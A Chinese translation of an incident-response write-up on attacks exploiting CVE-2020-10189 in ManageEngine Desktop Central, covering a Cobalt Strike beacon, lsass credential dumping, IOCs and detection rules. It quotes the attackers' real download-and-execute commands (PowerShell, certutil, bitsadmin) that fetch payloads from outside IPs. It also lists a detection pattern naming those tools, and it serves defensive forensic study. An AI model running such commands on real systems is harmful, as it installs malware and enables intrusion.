CVE-2020-10189攻击案例分析

iso60001  1480天前

22.png

最近,Recon应急响应小组处理了一起涉及CVE-2020-10189影响的ManageEngine Desktop Central服务器入侵案例。

Zoho ManageEngine Desktop Central 10软件近期被曝出存在远程代码执行,因为FileStorage类中的getChartImage会对不安全的数据进行了反序列化处理。这与CewolfServletMDMLogUploaderServlet等servlet相关。

https://nvd.nist.gov/vuln/detail/CVE-2020-10189#vulnCurrentDescriptionTitle

Twitter上披露的远程代码执行

在我们研究Desktop Central漏洞的过程中,于Twitter上找到了一篇安全研究人员发布的帖子,他在2020年3月5日公布了Desktop Central的RCE。

33.png

而对CVE-2020-10189的研究还表明,目前可以在Shodan上搜索到有缺陷的Desktop Central服务器。

44.png

最初的攻击手法是基于一个可疑的PowerShell下载操作,会从某个IP下载后续需要的恶意软件install.batstoresyncsvc.dll,放置在 C:\Windows\Temp文件夹,然后立即执行install.bat

55.png

cmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/install.bat','C:\Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98.220:12345/test/storesyncsvc.dll','C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

install.bat脚本将把storesyncsvc.dll作为服务安装在系统上。

66.png

可以预见,在PowerShell命令运行后的几秒钟内,一个新服务出现,名为StorSyncSvc,全称是Storage Sync Service

77.png

OSINT很快确认storesyncsvc.dll也出现在其他被攻击的机器中。VirusTotal的结果表明,一些防病毒引擎已经将storesyncsvc.dll归类为恶意软件。

https://www.virustotal.com/gui/file/f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c/details

利用过程跟踪去识别攻击痕迹

从上述信息我们知道,这个RCE是在2020年3月5日通过Twitter公开的,而应急响应团队在几天前就已经有了一个关于攻击者是利用Zoho ManageEngine Desktop Central中的漏洞进行渗透测试的理论。

对Sysmon进程创建事件的检查表明,C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe是负责执行PowerShell下载命令的进程。

88.png

查看内存中的进程,还可观察到Desktop Central 的java.exe应用、cmd.exe2.exe之间的紧密关系。

99.png

利用文件系统构件去识别攻击痕迹

为了进一步验证得出的理论,我们将从受影响的Desktop Central服务中收集的证据与已发布的POC进行比较,确定攻击者可能利用了CVE-2020-10189漏洞在有缺陷的系统上运行了恶意代码。

通过对文件系统时间线的分析,我们确定系统上可能发生了一次遍历文件写操作,涉及文件_chartlogger.zip

100.png

110.png

这些文件名也在@Steventseeley发布的POC中被引用(https://srcincite.io/pocs/src-2020-0011.py.txt)。

120.png

系统中的payload

随后在进程创建日志中可看到cmd.execertutil.exe命令用于下载和执行2.exe。而进一步的分析表明,2.exe极有可能来自流行的后渗透工具Cobalt Strike。

cmd /c certutil -urlcache -split -f http://91.208.184.78/2.exe && 2.exe

130.png

OSINT也表示2.exe已经被VirusTotal上的几个防病毒引擎识别为恶意软件:

https://www.virustotal.com/gui/file/d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309/details

通过app.any.run沙箱和对恶意软件的内存分析,进一步证实了2.exe是一个和Cobalt Strike Beacon有关的payload。

140.png

https://any.run/report/d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309/e65dd4ff-60c6-49a4-8e6d-94c6c80a74b6

YARA分析

我们对恶意软件2.exe使用的所有内存段执行了yara扫描,其结果进一步把2.exeCobalt Strike beacon绑定到一起。

150.png

通过Volatility的malfind插件,我们在内存部分发现了几个隐藏的代码注入的迹象。于是我们又进行了一次yara扫描,这次是针对malfind导出的内存段,结果又大大增加了Cobalt Strike beacon的嫌疑。

160.png

最后,我们检查malfind的输出以寻找代码注入的证据,并很快在svchost.exe中识别出可疑的内存部分。然后又在另一位研究人员的帮助下,找到了将代码注入svchost.exe的区域。

170.png

180.png


参考

190.png

在后续的攻击活动中,我们观察到恶意的Bitsadmin命令,其中包含从可恶意IP的12345端口12345下载install.bat

而且我们的分析人员观察到,Desktop Central服务器中运行的bitsadmin命令和PowerShell下载命令涉及的IP地址、端口和install.bat文件都一样。

cmd /c bitsadmin /transfer bbbb http://66.42.98.220:12345/test/install.bat C:\Users\Public\install.bat

200.png

访问凭据

我们还发现了针对服务器凭据的恶意活动。攻击者使用了一种常见的凭据转储技术,使用恶意进程(SourceImage)访问另一个进程(TargetImage)。而最常被针对的是lsass.exe,因为它通常包含帐户凭据等敏感信息。

而在目标机器上,我们发现了SourceImage 2.exe访问TargetImagelsass.exe。Cobalt Strike Beacon包含类似于Mimikatz的本地凭证转储功能,唯一的条件是攻击者必须拥有SYSTEM权限。而以下系统事件也证明了这一点。

210.png

用于处理类似入侵的IR团队的工具

在分析此次入侵事件的时候,我们向Eric Zimmerman的KAPE工具添加了一些收集目标,以便将相关日志添加到对应成果中。

针对相关日志的使用示例如下:

kape.exe --tsource C: --tdest c:\temp\tout --tflush --target ManageEngineLogs

IOCs

Storesyncsvc.dll
MD5: 5909983db4d9023e4098e56361c96a6f
SHA256: f91f2a7e1944734371562f18b066f193605e07223aab90bd1e8925e23bbeaa1c

Install.bat
MD5: 7966c2c546b71e800397a67f942858d0
SHA256: de9ef08a148305963accb8a64eb22117916aa42ab0eddf60ccb8850468a194fc

2.exe
MD5: 3e856162c36b532925c8226b4ed3481c
SHA256: d854f775ab1071eebadc0eb44d8571c387567c233a71d2e26242cd9a80e67309

66[.]42[.]98[.]220

91[.]208[.]184[.]78

74[.]82[.]201[.]8

探测

Sigma项目的Florian Roth创建了一个签名来检测攻击者使用的一些技术:

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_exploit_cve_2020_10189.yml

我们通过分析也发现,基于进程创建日志中的命令行行为进行检测是很有价值的。

ParentImage | endswith: 
    'DesktopCentral_Server\jre\bin\java.exe'
CommandLine | contains: 
    '*powershell*'
    '*certutil*'
    '*bitsadmin*'

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189/

最新评论

昵称
邮箱
提交评论